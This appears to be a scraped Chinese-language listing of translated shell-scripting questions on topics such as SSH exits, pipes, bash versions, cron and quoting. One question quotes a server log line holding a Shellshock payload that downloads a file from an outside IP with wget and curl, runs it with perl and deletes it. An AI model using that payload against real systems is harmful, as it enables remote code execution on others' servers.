标签: shell-script

ssh 和 shell 通过 ssh:如何退出?

我正在通过 SSH 启动一个远程脚本,如下所示:

ssh user@ipaddress '~/my_script.sh'
Run Code Online (Sandbox Code Playgroud)

一切正常,但脚本完成后,连接不会关闭。我必须按 CTRL-C 才能断开当前连接。

我试过'~/my_script.sh'中的“exit”命令,但没用。我在“~/my_script.sh”中尝试了“注销”命令,我收到一条消息:

logout: not login shell: use exit
Run Code Online (Sandbox Code Playgroud)

...

知道如何在脚本完成后自动正确关闭 SSH 吗?

(为了澄清而修改:)这是我的脚本中的内容:

#!/bin/sh
path_sources_qas=/sources/QuickAddress/
path_qas_bin=/usr/bin/qas

umount_disque_qas()
{
  # Umount du disque 'qas' s'il n'avait pas été 'umount' :
  nom_disque_monte=`cat /etc/mtab | grep qas | awk '{ print $2}'`
  if [ "$nom_disque_monte" != "" ]
  then
    echo "For safety, umount : $nom_disque_monte"
    umount $nom_disque_monte
  fi

}

# Umount twice (we never know if a st***d guy mounted it twice) :
umount_disque_qas
umount_disque_qas …
Run Code Online (Sandbox Code Playgroud)

ssh bash shell-script

27
推荐指数
3
解决办法
13万
查看次数

使用管道将两个参数传递给命令

通常,我们只需要传递一个参数:

echo abc | cat
echo abc | cat some_file -
echo abc | cat - some_file
Run Code Online (Sandbox Code Playgroud)

有没有办法传递两个参数?就像是

{echo abc , echo xyz} | cat
cat `echo abc` `echo xyz`
Run Code Online (Sandbox Code Playgroud)

我可以先将两个结果存储在一个文件中

echo abc > file1
echo xyz > file2
cat file1 file2
Run Code Online (Sandbox Code Playgroud)

但是我可能会不小心覆盖一个文件,这是不行的。这是进入一个非交互式脚本。基本上,我需要一种方法来将两个任意命令的结果传递给cat而不写入文件。


更新:抱歉,该示例掩盖了问题。虽然{ echo abc ; echo xyz ; } | cat似乎确实有效,但输出是由于echos 而不是cat.

一个更好的例子是{ cut -f2 -d, file1; cut -f1 -d, file2; } | paste -d,它不能按预期工作。

file1:
a,b …
Run Code Online (Sandbox Code Playgroud)

bash shell-script pipe command-line-arguments bash-scripting

27
推荐指数
1
解决办法
5万
查看次数

如何在 Mac OS X Yosemite 上更新 bash

只是想学习一下 bash 脚本。我的旧 bash 版本:

Bash version 3.2.53(1)-release...
Run Code Online (Sandbox Code Playgroud)

我已经用自制软件在 mac os x yosemite 上更新了我的 bash:

brew update
brew install bash
Run Code Online (Sandbox Code Playgroud)

然后在终端属性中,我将标准 shell 路径从 更改/bin/bash/usr/local/bin/bash(据我所知,这是自制软件安装更新后的 bash 的地方)。

然后我再次检查了结果(似乎一切都很好):

$ echo $BASH_VERSION
Bash version 4.0.33(0)-release...
Run Code Online (Sandbox Code Playgroud)

但是当我尝试编写一个简单的 bash 脚本时:

#!/bin/bash
echo "Bash version ${BASH_VERSION}..."
for i in {0..10..2}
  do
     echo "Welcome $i times"
 done
Run Code Online (Sandbox Code Playgroud)

结果是:

Bash version 3.2.53(1)-release...
Welcome {0..10..2} times
Run Code Online (Sandbox Code Playgroud)

代替:

Bash version 4.0.33(0)-release...
Welcome 0 times
Welcome 2 times
Welcome 4 times
Welcome 6 times
Welcome 8 …
Run Code Online (Sandbox Code Playgroud)

bash shell shell-script bash-scripting macos

26
推荐指数
3
解决办法
2万
查看次数

如何在 Windows 中运行 shell 脚本?

我是 Mac 用户,是 Windows 的新手。如何在 Windows 中执行 shell 脚本?

通常,我会保存带有扩展名的文本文件.sh并通过终端运行它。但是我怎么能在 Windows 中做到这一点呢?

windows shell-script

24
推荐指数
2
解决办法
27万
查看次数

如何`tail`目录中的最新文件

在shell中,如何tail在目录中创建最新的文件?

linux shell shell-script

23
推荐指数
5
解决办法
4万
查看次数

在哪里存储 cronjob 脚本?

我不想把它放在我的/home/myusername目录中。是否有最佳实践来存储 cronjobs 的 shell 脚本?在根级别?

我现在正在运行 ubuntu 服务器 12.04。

shell-script ubuntu-server cronjob

23
推荐指数
1
解决办法
2万
查看次数

这是攻击还是需要担心的事情?贝壳?

access.log在我的测试服务器上看到了这个:

> 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget
> http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ;
> perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""
Run Code Online (Sandbox Code Playgroud)

没有一个地址与我或我们的 IP 范围(或其他任何与此相关的内容)有关 立即考虑Shellshock 安全漏洞/“bashdoor”。

实际上看起来有人试图将curl“某事”下放到服务器,然后执行该“某事”,然后使用-rf.

这是一个纯粹的测试服务器,没有任何伤害(==除了重新安装之外没有任何伤害) - 但时机非常有趣。据我回忆,以前从未见过这样的事情。

我应该担心,例如“感兴趣”吗?有没有人知道这是什么?

security shell-script webserver

23
推荐指数
2
解决办法
5217
查看次数

你如何在bash中的单引号字符串中转义撇号?

我不明白 bash 如何评估单引号字符串中撇号字符的转义。

下面是一个例子:

$ echo ''\''Hello World'\'''
'Hello World' # works

$ echo '\'Hello World\''
 > # expects you to continue input
Run Code Online (Sandbox Code Playgroud)

我试图寻找对此的解释,但什么也得不到。bash 在这里做什么?

bash shell-script string escape-characters

22
推荐指数
3
解决办法
4万
查看次数

如何在shell中测试一个变量是否等于一个数字

我有这个无法正常工作的 shell 脚本。

输入:

Server_Name=1
if [ $Server_Name=1 ]; then  
echo Server Name is 1  
else
echo Server Name is not 1
fi
Run Code Online (Sandbox Code Playgroud)

输出:

Server Name is 1
Run Code Online (Sandbox Code Playgroud)

但是,如果我改变Server_Name=2,输出是:

Server Name is 1
Run Code Online (Sandbox Code Playgroud)

当我更改Server_Name为 时2,我希望它说:Server Name is 2

我知道这是if [ $Server_Name=1 ];一部分。

我如何解决它?

linux bash shell shell-script

22
推荐指数
2
解决办法
14万
查看次数

将很长的单词行拆分为最大长度的单独行

我有一个脚本,它在一个由空格分隔的长行上输出一个包列表。该行中包含的信息应插入到文本文件中,该文件稍后呈现给用户。

我想将长行拆分为具有定义的最大长度的多行,例如 80 个字符,但拆分应仅发生在空格处(因此,如果恰好 80 个字符之后没有空格,则某些行可能会更短,并且下一个元素将使时间更长)。

单个条目超过 80 个字符的情况可能永远不会发生,我不在乎这个条目是在中间分割还是导致单个更长的行。

基本上,它是在选择自动包装的情况下,大多数文本编辑器的表现相同,但我想从shell脚本执行它。

示例输入:

libkrb5-3 libk5crypto3 openssh-server libc-bin base-files sysvinit-utils bind9-host python-minimal python-reportbug dnsutils perl libgnutls-openssl27 mutt reportbug libdns88 perl-base whois bash libgnutls26 perl-modules libapt-inst1.5 python2.7 libexpat1 libisccc80 libgssrpc4 apt-utils procmail apt locales liblwres80 libkrb5support0 python openssh-client multiarch-support libgcrypt11 dpkg libxml2 libbind9-80 wget libapt-pkg4.12 file ssh libkadm5clnt-mit8 libisccfg82 libkadm5srv-mit8 tzdata gpgv krb5-locales python2.7-minimal libgpgme11 openssl rsyslog libkdb5-6 host sysv-rc libgssapi-krb5-2 libisc84 libc6 initscripts sysvinit libmagic1 libssl1.0.0 gnupg
Run Code Online (Sandbox Code Playgroud)

所需的示例输出:

libkrb5-3 libk5crypto3 openssh-server libc-bin base-files …
Run Code Online (Sandbox Code Playgroud)

linux shell-script

22
推荐指数
1
解决办法
2万
查看次数